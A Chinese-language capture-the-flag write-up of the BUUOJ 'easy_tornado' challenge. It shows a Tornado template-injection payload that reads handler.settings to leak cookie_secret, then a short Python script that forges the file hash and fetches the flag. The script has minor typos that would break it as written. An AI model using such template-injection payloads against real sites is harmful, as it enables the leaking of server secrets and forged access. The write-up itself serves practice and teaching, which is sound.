时隔多天,刷了一些web题之后,再回来看着到easy_tornado 1这道题,刚开始也是惧怕用代码跑flag吧。下面我们回归正题
首先,打开题目里面有三个链接
里面得代码也给贴上吧
/flag.txt flag in /fllllllllllllag /welcome.txt render /hints.txt md5(cookie_secret+md5(filename))
简单看了下这些东西,发现flag在/fllllllllllllag这个文件里面,后面有个render发现这提示我们是一个模板注入,然后需要拼接cookie_secret+md5(filename))并将其转成md5值
百度了render可知,render是python的一个渲染函数,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。
然后拼接url才能获得flag
到这里,我们首要任务时找到这个cookie_secret值,那我们怎么找呢?
存在msg参数,百度之后发现师傅们可以进行模块注入。尝试了error?msg={{1}},发现的确存在模块注入。然后我们尝试用+-*/发现都报错,应该是被过滤了。
而我们查官方文档,tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类
RequestHandler.settings又指向self.application.settings
所以我们可以说handler.settings指向了RequestHandler.settings了,对吧
这样我们就可以构造一下payload:?msg{handler.settings}
于是获得cookie_secret:
得到cookie_secret下一步就轻松多了,于是我们写个exp跑一下
import hashlib cookie='0ff0d682-6a1e-4f11-bf15-7523afa0cd73' file_filename='/fllllllllllllag' md5_filename=hashlib.md5(filename.encode(encoding='UTF-8)).hexdigest() word=cookie+md5_filename flag=hashlib.md5(word.encode(encoding='UTF-8)).hexdigest() print(flag)
于是得到filename得hash值28102f0eea51aff93634e7fcd8982610
然后拼接url :http://efde2a0f-b219-4791-b407-c83437ac20ce.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=28102f0eea51aff93634e7fcd8982610就得到了flag
flag{8b7b6c91-b690-40f4-bf47-52d22bfcb506}